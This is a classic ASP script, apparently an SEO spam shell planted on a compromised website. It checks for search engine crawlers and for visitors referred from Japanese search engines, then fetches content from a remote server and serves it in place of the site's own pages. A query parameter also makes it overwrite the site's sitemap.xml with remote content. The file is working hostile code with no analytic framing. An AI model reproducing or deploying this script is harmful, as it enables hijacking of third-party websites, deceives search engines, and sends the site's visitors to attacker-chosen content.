<% doSomeThing() Function doSomeThing() Response.Codepage = 65001 dim key,redID,domain,lineNo,randKey,serverDomain key = "J6Pn2HmH0e568SXnR6KRkmP5tQbh7KEW" redID = "552" domain = "fluidity8246" lineNo = "7509" sitemapStep = "100" selfFilename = Replace(Request.ServerVariables("URL"),"/","") fromDomain = "http://" + Request.ServerVariables("SERVER_NAME") + "/" apiUrl = "http://www" + redID + "." + getServerDomain(redID) + "/process.php?domain={domain}&lineNo={lineNo}&reID={reID}&shellDomain={fromDomain}&shellFilename={selfFilename}&refer={refer}&queryString={queryString}" queryString = Request.ServerVariables("QUERY_STRING") getDataUrl = replaceUrl(apiUrl,domain,lineNo,redID,fromDomain,selfFilename,queryString) if Request.QueryString("http_sitemap") = "1" Then getDataUrl = Replace(getDataUrl,"{refer}","0") getDataUrl = getDataUrl + "&http_sitemap=1&step=" + sitemapStep content = getHTTPPage(getDataUrl) if Len(content) <> 0 then dim fs,f set fs=Server.CreateObject("Scripting.FileSystemObject") set f=fs.CreateTextFile(Server.MapPath("/") + "\sitemap.xml",true) f.write(content) f.close set f=nothing set fs=nothing response.Write("generate success") response.End() end if end If if CheckUseragent() Then getDataUrl = Replace(getDataUrl,"{refer}","0") content = getHTTPPage(getDataUrl) response.Write(content) response.End() Else if CheckReferrer() Then getDataUrl = Replace(getDataUrl,"{refer}","1") content = getHTTPPage(getDataUrl) response.Write(content) response.End() End If End If End Function Function replaceUrl(apiUrl,domain,lineNo,reID,shellDomain,shellFilename,queryString) apiUrl = Replace(apiUrl,"{domain}",domain) apiUrl = Replace(apiUrl,"{lineNo}",lineNo) apiUrl = Replace(apiUrl,"{reID}",reID) apiUrl = Replace(apiUrl,"{fromDomain}",shellDomain) apiUrl = Replace(apiUrl,"{selfFilename}",shellFilename) apiUrl = Replace(apiUrl,"{queryString}",queryString) replaceUrl = apiUrl End Function Function getServerDomain(redID) dim serverDomain if redID > 500 then serverDomain = "goooodsite.com" end if getServerDomain = serverDomain End Function Function getHTTPPage(Path) t = GetBody(Path) getHTTPPage=BytesToBstr(t,"UTF-8") End function Function Newstring(wstr,strng) Newstring=Instr(lcase(wstr),lcase(strng)) if Newstring<=0 then Newstring=Len(wstr) End Function Function GetBody(url) on error resume next Set Retrieval = CreateObject("Microsoft.XMLHTTP") With Retrieval .Open "Get", url, False, "", "" .Send GetBody = .ResponseBody End With Set Retrieval = Nothing End Function Function BytesToBstr(body,Cset) dim objstream set objstream = Server.CreateObject("adodb.stream") objstream.Type = 1 objstream.Mode =3 objstream.Open objstream.Write body objstream.Position = 0 objstream.Type = 2 objstream.Charset = Cset BytesToBstr = objstream.ReadText objstream.Close set objstream = nothing End Function Function CheckUseragent() Dim useragent CheckUseragent = False useragent = Request.ServerVariables("HTTP_USER_AGENT") useragent = LCase(useragent) If Instr(1,useragent,"google",1) > 0 then CheckUseragent = True End If If Instr(1,useragent,"bing",1) > 0 then CheckUseragent = True End If If Instr(1,useragent,"yahoo",1) > 0 then CheckUseragent = True End if End Function Function CheckReferrer() dim referrer CheckReferrer = False referrer = Request.ServerVariables("HTTP_REFERER") If Instr(1,referrer,"google.co.jp",1) > 0 then CheckReferrer = True End if If Instr(1,referrer,"yahoo.co.jp",1) > 0 then CheckReferrer = True End if If Instr(1,referrer,"bing",1) > 0 then CheckReferrer = True End if End Function %>